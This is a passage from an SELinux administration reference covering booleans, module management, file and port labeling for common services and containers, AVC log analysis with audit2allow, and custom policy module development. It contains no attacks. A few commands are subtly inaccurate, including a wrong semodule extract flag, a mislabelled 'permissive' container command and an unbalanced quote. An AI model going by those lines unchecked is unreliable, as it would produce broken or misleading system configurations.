setsebool -P httpd_can_network_connect_db on

# Allow web server to send email
setsebool -P httpd_can_sendmail on

# Allow web server to serve user home directories
setsebool -P httpd_enable_homedirs on

# Allow NFS to export read/write directories
setsebool -P nfs_export_all_rw on

# Allow Samba to share home directories
setsebool -P samba_enable_home_dirs on

# Allow Samba to export all read/write
setsebool -P samba_export_all_rw on

# Allow ftpd to use NFS
setsebool -P ftpd_use_nfs on

# Allow containers to use NFS volumes
setsebool -P virt_use_nfs on

# Allow virtual machines to use USB devices
setsebool -P virt_use_usb on

# List all installed modules
semodule -l
# abrt    1.4.1
# accountsd   1.1.0
# apache  2.6.8
# mysql   1.11.1
# ssh     2.5.2

# List modules with priority
semodule -l --full
# 100 abrt     1.4.1
# 100 apache   2.6.8
# 400 mycustom 1.0.0

# List enabled modules only
semodule --list-modules=full | grep -v disabled

# List disabled modules
semodule --list-modules=full | grep disabled

# Install a policy module
semodule -i myapp.pp

# Install with specific priority (higher = higher precedence)
semodule -X 400 -i myapp.pp

# Install and enable module
semodule -i myapp.pp -e myapp

# Install multiple modules
semodule -i module1.pp -i module2.pp

# Disable a module (doesn't remove, just deactivates)
semodule -d apache

# Enable a module
semodule -e apache

# Disable multiple modules
semodule -d module1 -d module2

# Note: Disabling is preferred over removing for system modules

# Remove a custom module
semodule -r myapp

# Remove with specific priority
semodule -X 400 -r myapp

# List before removing to confirm
semodule -l | grep myapp
semodule -r myapp

# Extract a module for inspection
semodule -e apache --extract

# This creates: apache.pp

# Convert binary module to human-readable format
semodule -l | grep apache
# apache  2.6.8

# Get module details
semodule -l --full | grep apache

# List SELinux users and their properties
semanage user -l
# Labeling   MLS/       MLS/
# SELinux User    Prefix     MCS Level  MCS Range       SELinux Roles
# guest_u         user       s0         s0              guest_r
# root            user       s0         s0-s0:c0.c1023  staff_r sysadm_r system_r unconfined_r
# staff_u         user       s0         s0-s0:c0.c1023  staff_r sysadm_r
# sysadm_u        user       s0         s0-s0:c0.c1023  sysadm_r
# system_u        user       s0         s0-s0:c0.c1023  system_r unconfined_r
# unconfined_u    user       s0         s0-s0:c0.c1023  system_r unconfined_r
# user_u          user       s0         s0              user_r

# Show mapping from Linux users to SELinux users
semanage login -l
# Login Name           SELinux User         MLS/MCS Range        Service
# __default__          unconfined_u         s0-s0:c0.c1023       *
# root                 unconfined_u         s0-s0:c0.c1023       *
# system_u             system_u             s0-s0:c0.c1023       *

# Map a Linux user to SELinux user
semanage login -a -s user_u john

# Map with specific MLS range
semanage login -a -s staff_u -r s0-s0:c0.c1023 alice

# Modify existing mapping
semanage login -m -s staff_u -r s0-s0:c0.c1023 john

# Delete mapping (reverts to __default__)
semanage login -d john

# The mapped user will get the SELinux user context on next login

# Create SELinux user with specific roles
semanage user -a -R "staff_r sysadm_r" myuser_u

# Create user with MLS range
semanage user -a -R "user_r" -r s0 restricted_u

# Modify user roles
semanage user -m -R "staff_r sysadm_r system_r" myuser_u

# Delete SELinux user
semanage user -d myuser_u

# Apache binary and libraries
# /usr/sbin/httpd → httpd_exec_t (entrypoint to httpd_t domain)
ls -Z /usr/sbin/httpd
# system_u:object_r:httpd_exec_t:s0 /usr/sbin/httpd

# Apache process runs in httpd_t domain
ps -eZ | grep httpd
# system_u:system_r:httpd_t:s0    1234 ?    00:00:01 httpd

# Default web content directory
ls -Zd /var/www/html/
# system_u:object_r:httpd_sys_content_t:s0 /var/www/html/

# CGI scripts directory
ls -Zd /var/www/cgi-bin/
# system_u:object_r:httpd_sys_script_exec_t:s0 /var/www/cgi-bin/

# Read-only content (HTML, CSS, JS, images)
# Type: httpd_sys_content_t
ls -Z /var/www/html/
# -rw-r--r--. root root system_u:object_r:httpd_sys_content_t:s0 index.html
# -rw-r--r--. root root system_u:object_r:httpd_sys_content_t:s0 style.css

# Read-write content (upload directories, cache)
# Type: httpd_sys_rw_content_t
mkdir /var/www/html/uploads
semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/html/uploads(/.*)?"
restorecon -Rv /var/www/html/uploads/

# CGI/script execution
# Type: httpd_sys_script_exec_t
ls -Z /var/www/cgi-bin/test.cgi
# -rwxr-xr-x. root root system_u:object_r:httpd_sys_script_exec_t:s0 test.cgi

# Script writable content (for CGI scripts)
# Type: httpd_sys_script_rw_t
mkdir /var/www/cgi-data
semanage fcontext -a -t httpd_sys_script_rw_t "/var/www/cgi-data(/.*)?"
restorecon -Rv /var/www/cgi-data/

# Set up custom web directory
mkdir -p /web/mysite
echo "Hello World" > /web/mysite/index.html

# Add file context rule
semanage fcontext -a -t httpd_sys_content_t "/web/mysite(/.*)?"

# Apply context
restorecon -Rv /web/mysite/

# Verify
ls -Zd /web/mysite/
# system_u:object_r:httpd_sys_content_t:s0 /web/mysite/

# Configure Apache
cat >> /etc/httpd/conf.d/mysite.conf <<EOF
<VirtualHost *:80>
    ServerName mysite.local
    DocumentRoot /web/mysite
    <Directory /web/mysite>
        Require all granted
    </Directory>
</VirtualHost>
EOF

systemctl restart httpd

# Allow httpd to connect to network (for proxy, external APIs)
setsebool -P httpd_can_network_connect on

# Allow httpd to connect to databases
setsebool -P httpd_can_network_connect_db on

# Allow httpd to send email
setsebool -P httpd_can_sendmail on

# Allow httpd to serve content from user home directories
setsebool -P httpd_enable_homedirs on

# Allow httpd scripts and modules to connect to network
setsebool -P httpd_can_network_relay on

# Allow httpd to connect to LDAP
setsebool -P httpd_can_connect_ldap on

# Allow httpd to run as unified process
setsebool -P httpd_unified on

# Allow HTTPD scripts and modules to execute with user permissions
setsebool -P httpd_enable_cgi on

# Allow httpd to execute memory-mapped files
setsebool -P httpd_execmem on

# PHP files should be httpd_sys_content_t or httpd_sys_script_exec_t
ls -Z /var/www/html/index.php
# system_u:object_r:httpd_sys_content_t:s0 /var/www/html/index.php

# PHP session directory
ls -Zd /var/lib/php/session/
# drwxrwx---. root apache system_u:object_r:httpd_var_lib_t:s0 /var/lib/php/session/

# If PHP needs to write to a directory
mkdir /var/www/html/data
semanage fcontext -a -t httpd_sys_rw_content_t "/var/www/html/data(/.*)?"
restorecon -Rv /var/www/html/data/
chmod 770 /var/www/html/data
chown apache:apache /var/www/html/data

# Nginx binary
ls -Z /usr/sbin/nginx
# system_u:object_r:httpd_exec_t:s0 /usr/sbin/nginx

# Nginx runs in httpd_t domain (same as Apache)
ps -eZ | grep nginx
# system_u:system_r:httpd_t:s0    5678 ?    00:00:00 nginx

# Default content directory
ls -Zd /usr/share/nginx/html/
# drwxr-xr-x. root root system_u:object_r:httpd_sys_content_t:s0 /usr/share/nginx/html/

# Custom site configuration
mkdir -p /srv/www/example.com
echo "Test" > /srv/www/example.com/index.html

# Label the directory
semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"
restorecon -Rv /srv/www/

# Nginx configuration
cat > /etc/nginx/conf.d/example.conf <<EOF
server {
    listen 80;
    server_name example.com;
    root /srv/www/example.com;

    location / {
        index index.html;
    }
}
EOF

# Test and reload
nginx -t
systemctl reload nginx

# Same booleans as Apache apply to Nginx
setsebool -P httpd_can_network_connect on

# PostgreSQL binary
ls -Z /usr/bin/postgres
# system_u:object_r:postgresql_exec_t:s0 /usr/bin/postgres

# PostgreSQL process domain
ps -eZ | grep postgres
# system_u:system_r:postgresql_t:s0  3456 ?  00:00:01 postgres

# Data directory
ls -Zd /var/lib/pgsql/
# drwx------. postgres postgres system_u:object_r:postgresql_db_t:s0 /var/lib/pgsql/

# Log directory
ls -Zd /var/log/postgresql/
# drwx------. postgres postgres system_u:object_r:postgresql_log_t:s0 /var/log/postgresql/

# Port labeling
semanage port -l | grep postgresql
# postgresql_port_t              tcp      5432, 9898

# Custom data directory
mkdir -p /data/postgresql
chown postgres:postgres /data/postgresql
chmod 700 /data/postgresql

# Add file context
semanage fcontext -a -t postgresql_db_t "/data/postgresql(/.*)?"
restorecon -Rv /data/postgresql/

# Initialize database
sudo -u postgres /usr/bin/initdb -D /data/postgresql

# Custom port
semanage port -a -t postgresql_port_t -p tcp 5433

# Allow PostgreSQL to connect to network (for replication)
setsebool -P postgresql_can_network_connect on

# MySQL binary
ls -Z /usr/bin/mysqld
# system_u:object_r:mysqld_exec_t:s0 /usr/bin/mysqld

# MySQL process domain
ps -eZ | grep mysqld
# system_u:system_r:mysqld_t:s0     2345 ?  00:00:02 mysqld

# Data directory
ls -Zd /var/lib/mysql/
# drwxr-x---. mysql mysql system_u:object_r:mysqld_db_t:s0 /var/lib/mysql/

# Log file
ls -Z /var/log/mysqld.log
# -rw-r-----. mysql mysql system_u:object_r:mysqld_log_t:s0 /var/log/mysqld.log

# Port labeling
semanage port -l | grep mysql
# mysqld_port_t                  tcp      1186, 3306, 63132-63164

# Custom data directory
mkdir -p /data/mysql
chown mysql:mysql /data/mysql
chmod 750 /data/mysql

# Add file context
semanage fcontext -a -t mysqld_db_t "/data/mysql(/.*)?"
restorecon -Rv /data/mysql/

# Custom port
semanage port -a -t mysqld_port_t -p tcp 3307

# Common booleans
# Allow httpd to connect to MySQL
setsebool -P httpd_can_network_connect_db on

# Allow MySQL to connect to network (for replication)
setsebool -P mysql_connect_any on

# Container processes run in svirt_lxc_net_t domain (or container_t)
docker run -d --name web nginx
ps -eZ | grep nginx
# system_u:system_r:svirt_lxc_net_t:s0:c123,c456  7890 ? 00:00:00 nginx

# Each container gets unique MCS labels (c123,c456)
# This prevents containers from accessing each other's files

# Create a directory for container data
mkdir /data/web-content
echo "Hello from host" > /data/web-content/index.html

# Without :Z or :z, SELinux may block access
docker run -d --name web1 -v /data/web-content:/usr/share/nginx/html:ro nginx
# May fail with permission denied in container

# Check container logs
docker logs web1
# Permission denied errors

# Option 1: Use :z for shared volume (multiple containers)
docker run -d --name web1 -v /data/web-content:/usr/share/nginx/html:z nginx

# :z relabels with svirt_sandbox_file_t (shared among all containers)
ls -Zd /data/web-content/
# system_u:object_r:svirt_sandbox_file_t:s0 /data/web-content/

# Option 2: Use :Z for private volume (single container)
docker run -d --name web2 -v /data/web-private:/data:Z nginx

# :Z relabels with unique MCS label for this container only
ls -Zd /data/web-private/
# system_u:object_r:svirt_sandbox_file_t:s0:c789,c012 /data/web-private/

# Option 3: Manual labeling
mkdir /data/web-manual
semanage fcontext -a -t svirt_sandbox_file_t "/data/web-manual(/.*)?"
restorecon -Rv /data/web-manual/
docker run -d -v /data/web-manual:/data nginx

# Disable SELinux for a specific container (not recommended)
docker run --security-opt label=disable nginx

# Run container in permissive mode (for debugging)
docker run --security-opt label=type:svirt_lxc_net_t --security-opt label=level:s0 nginx

# Check container's SELinux context
docker inspect --format='{{.ProcessLabel}}' web1
# system_u:system_r:svirt_lxc_net_t:s0:c123,c456
docker inspect --format='{{.MountLabel}}' web1
# system_u:object_r:svirt_sandbox_file_t:s0:c123,c456

# Podman has similar SELinux integration
podman run -d --name web -v /data/www:/usr/share/nginx/html:z nginx

# Rootless containers get user-specific labels
podman run --rm -it alpine id -Z
# system_u:system_r:container_t:s0:c123,c456

# Check labels
podman inspect --format='{{.ProcessLabel}}' web

# Allow containers to use NFS volumes
setsebool -P virt_use_nfs on

# Allow containers to use CIFS/Samba volumes
setsebool -P virt_use_samba on

# Allow containers to use FUSE filesystems
setsebool -P virt_use_fusefs on

# Allow containers to connect to sandbox network
setsebool -P virt_sandbox_use_all_caps on

# NFS exports file
ls -Z /etc/exports
# system_u:object_r:exports_t:s0 /etc/exports

# NFS daemon
ps -eZ | grep nfsd
# system_u:system_r:kernel_t:s0  0 ?   00:00:00 nfsd

# Exported directory
mkdir /srv/nfs/share
chmod 755 /srv/nfs/share

# Label for read-only NFS export
semanage fcontext -a -t public_content_t "/srv/nfs/share(/.*)?"
restorecon -Rv /srv/nfs/share/

# Label for read-write NFS export
semanage fcontext -a -t public_content_rw_t "/srv/nfs/writable(/.*)?"
restorecon -Rv /srv/nfs/writable/

# Configure export
echo "/srv/nfs/share 192.168.1.0/24(ro,sync)" >> /etc/exports
echo "/srv/nfs/writable 192.168.1.0/24(rw,sync)" >> /etc/exports

# Enable booleans
setsebool -P nfs_export_all_ro on
setsebool -P nfs_export_all_rw on

# Export shares
exportfs -ra

# Start NFS
systemctl enable --now nfs-server

# Mount point
mkdir /mnt/nfs

# Mount NFS share
mount -t nfs 192.168.1.100:/srv/nfs/share /mnt/nfs

# Check context (inherited from server or use_nfs_home_dirs)
ls -Zd /mnt/nfs/
# system_u:object_r:nfs_t:s0 /mnt/nfs/

# Allow services to use NFS
# Allow httpd to use NFS mounted content
setsebool -P httpd_use_nfs on

# Allow Samba to export NFS
setsebool -P samba_share_nfs on

# Permanent mount
echo "192.168.1.100:/srv/nfs/share /mnt/nfs nfs defaults 0 0" >> /etc/fstab

# Samba daemon
ps -eZ | grep smbd
# system_u:system_r:smbd_t:s0  4567 ?  00:00:01 smbd

# Samba configuration
ls -Z /etc/samba/smb.conf
# system_u:object_r:samba_etc_t:s0 /etc/samba/smb.conf

# Samba share directory
mkdir /srv/samba/public
chmod 755 /srv/samba/public

# Label for Samba export
semanage fcontext -a -t samba_share_t "/srv/samba/public(/.*)?"
restorecon -Rv /srv/samba/public/

# For writable share
semanage fcontext -a -t samba_share_t "/srv/samba/writable(/.*)?"
chmod 775 /srv/samba/writable
restorecon -Rv /srv/samba/writable/

# Configure Samba
cat >> /etc/samba/smb.conf <<EOF
[public]
    path = /srv/samba/public
    read only = yes
    guest ok = yes

[writable]
    path = /srv/samba/writable
    read only = no
    valid users = @users
EOF

# Common Samba booleans
setsebool -P samba_enable_home_dirs on    # Share home directories
setsebool -P samba_export_all_ro on       # Share all files read-only
setsebool -P samba_export_all_rw on       # Share all files read-write
setsebool -P samba_share_nfs on           # Share NFS mounts

# Restart Samba
systemctl restart smb nmb

# Default SSH port
semanage port -l | grep ssh
# ssh_port_t                     tcp      22

# Configure SSH to use port 2222
vi /etc/ssh/sshd_config
# Port 2222

# Add SELinux label for port 2222
semanage port -a -t ssh_port_t -p tcp 2222

# Verify
semanage port -l | grep ssh
# ssh_port_t                     tcp      22, 2222

# Restart SSH
systemctl restart sshd

# Now SSH can bind to port 2222

# SSH daemon keys
ls -Z /etc/ssh/ssh_host_*_key
# system_u:object_r:sshd_key_t:s0 /etc/ssh/ssh_host_rsa_key

# User SSH directory
ls -Zd ~/.ssh/
# unconfined_u:object_r:ssh_home_t:s0 /home/user/.ssh/

# Authorized keys
ls -Z ~/.ssh/authorized_keys
# unconfined_u:object_r:ssh_home_t:s0 /home/user/.ssh/authorized_keys

# Private keys
ls -Z ~/.ssh/id_rsa
# unconfined_u:object_r:ssh_home_t:s0 /home/user/.ssh/id_rsa

# If context is wrong, restore it
restorecon -Rv ~/.ssh/

# Create SFTP chroot directory
mkdir -p /var/sftp/uploads

# Directory must be owned by root for chroot
chown root:root /var/sftp
chmod 755 /var/sftp

# User writable directory
chown sftpuser:sftpuser /var/sftp/uploads
chmod 755 /var/sftp/uploads

# Set SELinux context
semanage fcontext -a -t ssh_home_t "/var/sftp(/.*)?"
restorecon -Rv /var/sftp/

# Configure sshd
cat >> /etc/ssh/sshd_config <<EOF
Match User sftpuser
    ChrootDirectory /var/sftp
    ForceCommand internal-sftp
    AllowTcpForwarding no
    X11Forwarding no
EOF

systemctl restart sshd

# Create application
mkdir -p /opt/myapp
cat > /opt/myapp/myapp.sh <<'EOF'
#!/bin/bash
while true; do
    echo "MyApp is running..."
    sleep 60
done
EOF
chmod +x /opt/myapp/myapp.sh

# Label the application
semanage fcontext -a -t bin_t "/opt/myapp/myapp.sh"
restorecon -v /opt/myapp/myapp.sh

# Create systemd service
cat > /etc/systemd/system/myapp.service <<EOF
[Unit]
Description=My Application
After=network.target

[Service]
Type=simple
ExecStart=/opt/myapp/myapp.sh
Restart=on-failure

[Install]
WantedBy=multi-user.target
EOF

# Service file context
restorecon -v /etc/systemd/system/myapp.service

# Enable and start
systemctl daemon-reload
systemctl enable --now myapp

# Check process context
ps -eZ | grep myapp
# system_u:system_r:initrc_t:s0  8901 ?  00:00:00 myapp.sh
# Note: Runs in initrc_t (default for systemd services)

# This requires policy development (see Policy Development section)
# Quick example using existing domain

# If app needs network access, use a suitable domain
# For example, to run in unconfined_service_t:

cat > /etc/systemd/system/myapp.service <<EOF
[Unit]
Description=My Application
After=network.target

[Service]
Type=simple
ExecStart=/opt/myapp/myapp.sh
Restart=on-failure
SELinuxContext=system_u:system_r:unconfined_service_t:s0

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl restart myapp

ps -eZ | grep myapp
# system_u:system_r:unconfined_service_t:s0  9012 ?  00:00:00 myapp.sh

# Application in /opt
mkdir -p /opt/customapp/bin
mkdir -p /opt/customapp/data
mkdir -p /opt/customapp/logs

# Copy or create application files
cp myapp /opt/customapp/bin/

# Label executable
semanage fcontext -a -t bin_t "/opt/customapp/bin(/.*)?"
restorecon -Rv /opt/customapp/bin/

# Label data directory
semanage fcontext -a -t var_lib_t "/opt/customapp/data(/.*)?"
restorecon -Rv /opt/customapp/data/

# Label logs directory
semanage fcontext -a -t var_log_t "/opt/customapp/logs(/.*)?"
restorecon -Rv /opt/customapp/logs/

# Verify contexts
ls -ZR /opt/customapp/

# Default home directory context
ls -Zd /home/user/
# unconfined_u:object_r:user_home_dir_t:s0 /home/user/

# Files in home directory
ls -Z /home/user/
# unconfined_u:object_r:user_home_t:s0 file.txt
# unconfined_u:object_r:user_home_t:s0 documents/

# Allow httpd to read user home directories
setsebool -P httpd_enable_homedirs on

# Label specific directory for web access
mkdir /home/user/public_html
semanage fcontext -a -t httpd_user_content_t "/home/user/public_html(/.*)?"
restorecon -Rv /home/user/public_html/

# Create custom home location
mkdir /data/home
mkdir /data/home/newuser

# Add file context equivalence
semanage fcontext -a -e /home /data/home
restorecon -Rv /data/home/

# Or manually add contexts
semanage fcontext -a -t user_home_dir_t "/data/home/[^/]+"
semanage fcontext -a -t user_home_t "/data/home/[^/]+/(.*)?'
restorecon -Rv /data/home/

# Create user with custom home
useradd -d /data/home/newuser -m newuser

# Verify
ls -Zd /data/home/newuser/
# unconfined_u:object_r:user_home_dir_t:s0 /data/home/newuser/

# Primary audit log
tail -f /var/log/audit/audit.log

# SELinux-specific messages (AVC = Access Vector Cache)
ausearch -m avc -ts recent

# Last 10 minutes
ausearch -m avc -ts recent -i
# -i flag converts numeric IDs to names for readability

# Specific time range
ausearch -m avc -ts today
ausearch -m avc -ts 14:00:00 -te 14:30:00

# For specific process
ausearch -m avc -c httpd

# For specific path
ausearch -m avc -f /var/www/html/

# Example AVC denial
ausearch -m avc --start recent -i
# ----
# type=AVC msg=audit(1700000000.123:456): avc:  denied  { read } for  pid=1234 comm="httpd" name="index.html" dev="dm-0" ino=5678 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:user_home_t:s0 tclass=file permissive=0

# Breaking down the message:
# - denied { read }         : Action that was denied
# - pid=1234                : Process ID
# - comm="httpd"            : Command/process name
# - name="index.html"       : File being accessed
# - scontext=httpd_t        : Source context (process domain)
# - tcontext=user_home_t    : Target context (file type)
# - tclass=file             : Object class (file, dir, tcp_socket, etc.)
# - permissive=0            : 0=enforcing, 1=permissive

# Install required tools
yum install -y policycoreutils-python-utils

# Generate policy from recent denials
ausearch -m avc -ts recent | audit2allow

# Output shows what rules would allow the denied actions:
###### BEGIN ####
#
#module myapp 1.0;
#
#require {
#       type httpd_t;
#       type user_home_t;
#       class file { read open getattr };
#}
#
##============= httpd_t ==============
#allow httpd_t user_home_t:file { read open getattr };
#
####### END #####

# Generate and compile a policy module
ausearch -m avc -ts recent | audit2allow -M myapp
# ******************** IMPORTANT ***********************
# To make this policy package active, execute:
# semodule -i myapp.pp

# This creates two files:
# myapp.te - Type Enforcement file (source)
# myapp.pp - Policy Package (compiled)

# Install the module
semodule -i myapp.pp

# Verify installation
semodule -l | grep myapp

# Explain why access was denied
ausearch -m avc -ts recent | audit2why

# Example output:
# type=AVC msg=audit(1700000000.123:456): avc:  denied  { read } for  pid=1234 comm="httpd" ...
#
#       Was caused by:
#               Missing type enforcement (TE) allow rule.
#
#               You can use audit2allow to generate a loadable module to allow this access.

# Or it might suggest a boolean:
# type=AVC msg=audit(...): avc:  denied  { name_connect } for  pid=1234 comm="httpd" ...
#
#       Was caused by:
#       The boolean httpd_can_network_connect was set incorrectly.
#       Description:
#       Allow httpd to can network connect
#
#       Allow access by executing:
#       # setsebool -P httpd_can_network_connect 1

# myapp.te
policy_module(myapp, 1.0.0)

########################################
#
# Declarations
#

# Define a new type for the application
type myapp_t;
type myapp_exec_t;
init_daemon_domain(myapp_t, myapp_exec_t)

# Define types for application files
type myapp_data_t;
files_type(myapp_data_t)

type myapp_log_t;
logging_log_file(myapp_log_t)

########################################
#
# myapp local policy
#

# Allow myapp to execute its binary
allow myapp_t myapp_exec_t:file { execute execute_no_trans };

# Allow reading data files
allow myapp_t myapp_data_t:dir list_dir_perms;
allow myapp_t myapp_data_t:file read_file_perms;

# Allow writing to log files
allow myapp_t myapp_log_t:dir { add_name write };
allow myapp_t myapp_log_t:file { create write append setattr };

# Allow network access
corenet_tcp_bind_generic_node(myapp_t)
corenet_tcp_bind_http_port(myapp_t)
corenet_tcp_connect_http_port(myapp_t)

# Allow reading /etc files
files_read_etc_files(myapp_t)

# Standard permissions
logging_send_syslog_msg(myapp_t)
miscfiles_read_localization(myapp_t)

# myapp.if

## <summary>My Application policy</summary>

########################################
## <summary>
##      Execute myapp in the myapp domain.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed to transition.
##      </summary>
## </param>
#
interface(`myapp_domtrans',`
        gen_require(`
                type myapp_t, myapp_exec_t;
        ')

        corecmd_search_bin($1)
        domtrans_pattern($1, myapp_exec_t, myapp_t)
')

########################################
## <summary>
##      Read myapp data files.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed access.
##      </summary>
## </param>
#
interface(`myapp_read_data',`
        gen_require(`
                type myapp_data_t;
        ')

        files_search_var_lib($1)
        read_files_pattern($1, myapp_data_t, myapp_data_t)
')

# myapp.fc

# Executable
/opt/myapp/bin(/.*)?         gen_context(system_u:object_r:myapp_exec_t,s0)
/usr/sbin/myapp              gen_context(system_u:object_r:myapp_exec_t,s0)

# Data files
/opt/myapp/data(/.*)?        gen_context(system_u:object_r:myapp_data_t,s0)
/var/lib/myapp(/.*)?         gen_context(system_u:object_r:myapp_data_t,s0)

# Log files
/opt/myapp/logs(/.*)?        gen_context(system_u:object_r:myapp_log_t,s0)
/var/log/myapp(/.*)?         gen_context(system_u:object_r:myapp_log_t,s0)

# Configuration
/etc/myapp(/.*)?             gen_context(system_u:object_r:etc_t,s0)

# PID file
/var/run/myapp\.pid          gen_context(system_u:object_r:var_run_t,s0)

# Basic allow rule syntax:
# allow <source_domain> <target_type>:<object_class> { <permissions> };

# Allow httpd to read files of type httpd_sys_content_t
allow httpd_t httpd_sys_content_t:file { read open getattr };

# Allow httpd to write to files of type httpd_sys_rw_content_t
allow httpd_t httpd_sys_rw_content_t:file { write create unlink };

# Allow httpd to list directories
allow httpd_t httpd_sys_content_t:dir { read getattr search open };

# Allow httpd to bind to HTTP port
allow httpd_t http_port_t:tcp_socket { bind };

# Allow httpd to connect to database port
allow httpd_t mysqld_port_t:tcp_socket { name_connect };

# Allow process to fork
allow myapp_t self:process { fork };

# Allow reading /proc filesystem
allow myapp_t proc_t:file { read open getattr };

# Read file permissions
# Expands to: { read open getattr }
read_file_perms

# Write file permissions
# Expands to: { write append }
write_file_perms

# Create file permissions
# Expands to: { create write open getattr setattr }
create_file_perms

# List directory permissions
# Expands to: { read getattr search open }
list_dir_perms

# Add directory entry permissions
# Expands to: { add_name write }
add_entry_dir_perms

# Example usage:
allow httpd_t httpd_sys_content_t:file read_file_perms;
allow httpd_t httpd_sys_rw_content_t:file create_file_perms;
allow httpd_t httpd_sys_content_t:dir list_dir_perms;

# Types can have attributes for grouping
# Example: All domain types have the "domain" attribute

# Allow all domains to read /etc/passwd
allow domain passwd_file_t:file read_file_perms;

# Common attributes:
# - domain: All process domains
# - file_type: All file types
# - port_type: All port types
# - domain_type: Synonym for domain

# Three rules required for automatic domain transition:
# 1. Source domain can execute the file
# 2. File is an entrypoint to target domain
# 3. Source domain can transition to target domain

# Example: init_t → httpd_t transition when executing /usr/sbin/httpd

# 1. Allow init_t to execute httpd_exec_t
allow init_t httpd_exec_t:file { execute read getattr open };

# 2. Allow httpd_exec_t as entrypoint to httpd_t domain
allow httpd_t httpd_exec_t:file entrypoint;

# 3. Allow init_t to transition to httpd_t
allow init_t httpd_t:process transition;

# Macro that does all three:
domtrans_pattern(init_t, httpd_exec_t, httpd_t)

# Syntax: type_transition <source> <target>:<class> <default_type>;

# When httpd_t creates a file in tmp_t directory, label it httpd_tmp_t
type_transition httpd_t tmp_t:file httpd_tmp_t;

# When httpd_t creates a directory in tmp_t, label it httpd_tmp_t
type_transition httpd_t tmp_t:dir httpd_tmp_t;

# When init_t executes httpd_exec_t, transition to httpd_t
type_transition init_t httpd_exec_t:process httpd_t;

# Example in policy module:
type_transition myapp_t var_log_t:file myapp_log_t;
# Now when myapp_t creates a file in /var/log/, it's automatically labeled myapp_log_t

# Type transition based on filename
# type_transition <source> <target>:<class> <default_type> "<filename>";

# Example: systemd creating /run/myapp.pid
type_transition init_t var_run_t:file myapp_var_run_t "myapp.pid";

# This only applies when the filename matches exactly

# Exact match
/usr/sbin/httpd              gen_context(system_u:object_r:httpd_exec_t,s0)

# Match directory and all contents recursively
/var/www(/.*)?               gen_context(system_u:object_r:httpd_sys_content_t,s0)

# Match only the directory itself
/var/www                     gen_context(system_u:object_r:httpd_sys_content_t,s0)

# Match specific file types
/var/log/myapp/.*\.log       gen_context(system_u:object_r:myapp_log_t,s0)

# Match with character class
/etc/myapp/[^/]+\.conf       gen_context(system_u:object_r:myapp_etc_t,s0)

# Multiple paths
/usr/bin/myapp      --       gen_context(system_u:object_r:myapp_exec_t,s0)
/usr/sbin/myapp     --       gen_context(system_u:object_r:myapp_exec_t,s0)

# Specify file type (-- = regular file, -d = directory, -l = symlink, etc.)
/var/run/myapp      -d       gen_context(system_u:object_r:myapp_var_run_t,s0)
/var/run/myapp\.pid --       gen_context(system_u:object_r:myapp_var_run_t,s0)

# <<none>> means no context (removes labeling)
/proc/.*                     <<none>>

# Method 1: Using audit2allow (simple)
audit2allow -M myapp < denials.txt
semodule -i myapp.pp

# Method 2: Manual compilation (full control)
# You have: myapp.te, myapp.if, myapp.fc

# Compile type enforcement file
checkmodule -M -m -o myapp.mod myapp.te

# Create policy package
semodule_package -o myapp.pp -m myapp.mod

# If you have file contexts
semodule_package -o myapp.pp -m myapp.mod -fc myapp.fc

# If you have interface file (requires more complex build)
# Use reference policy build system or:
checkmodule -M -m -o myapp.mod myapp.te
semodule_package -o myapp.pp -m myapp.mod -fc myapp.fc

# Install the module
semodule -i myapp.pp

# Apply file contexts
restorecon -Rv /opt/myapp/

# Install module
semodule -i myapp.pp

# Install with priority (higher priority = higher precedence)
semodule -X 400 -i myapp.pp

# Update existing module
semodule -u myapp.pp

# Remove module
semodule -r myapp

# Enable module
semodule -e myapp

# Disable module (keeps it installed but inactive)
semodule -d myapp

# List all modules
semodule -l

# List module with priority
semodule --list-modules=full | grep myapp

# Extract installed module
semodule -e myapp --extract
# Creates: myapp.pp

# Rebuild policy after manual changes
semodule -B

# Clone reference policy
git clone https://github.com/SELinuxProject/refpolicy.git
cd refpolicy

# Create module directory
mkdir policy/modules/services/myapp

# Add your files
cp ~/myapp.te policy/modules/services/myapp/
cp ~/myapp.if policy/modules/services/myapp/
cp ~/myapp.fc policy/modules/services/myapp/

# Edit modules.conf to enable your module
echo "myapp = module" >> policy/modules.conf

# Build
make bare
make conf
make

# Install
make install

# Or build just your module
make myapp.pp
semodule -i myapp.pp

# myapp.if

## <summary>Policy for My Application</summary>

########################################
## <summary>
##      Execute myapp in the myapp domain.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed to transition.
##      </summary>
## </param>
#
interface(`myapp_domtrans',`
        gen_require(`
                type myapp_t, myapp_exec_t;
        ')

        corecmd_search_bin($1)
        domtrans_pattern($1, myapp_exec_t, myapp_t)
')

########################################
## <summary>
##      Execute myapp in the myapp domain, and
##      allow the specified role the myapp domain.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed to transition.
##      </summary>
## </param>
## <param name="role">
##      <summary>
##      Role allowed access.
##      </summary>
## </param>
#
interface(`myapp_run',`
        gen_require(`
                type myapp_t;
        ')

        myapp_domtrans($1)
        role $2 types myapp_t;
')

########################################
## <summary>
##      Read myapp configuration files.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed access.
##      </summary>
## </param>
#
interface(`myapp_read_config',`
        gen_require(`
                type myapp_etc_t;
        ')

        files_search_etc($1)
        allow $1 myapp_etc_t:dir list_dir_perms;
        allow $1 myapp_etc_t:file read_file_perms;
')

########################################
## <summary>
##      Manage myapp data files.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed access.
##      </summary>
## </param>
#
interface(`myapp_manage_data',`
        gen_require(`
                type myapp_data_t;
        ')

        files_search_var_lib($1)
        allow $1 myapp_data_t:dir manage_dir_perms;
        allow $1 myapp_data_t:file manage_file_perms;
')

########################################
## <summary>
##      Connect to myapp over a TCP socket.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed access.
##      </summary>
## </param>
#
interface(`myapp_tcp_connect',`
        gen_require(`
                type myapp_t, myapp_port_t;
        ')

        corenet_tcp_recvfrom_labeled($1, myapp_t)
        corenet_tcp_sendrecv_myapp_port($1)
        corenet_tcp_connect_myapp_port($1)
')

########################################
## <summary>
##      All of the rules required to administrate
##      a myapp environment.
## </summary>
## <param name="domain">
##      <summary>
##      Domain allowed access.
##      </summary>
## </param>
## <param name="role">
##      <summary>
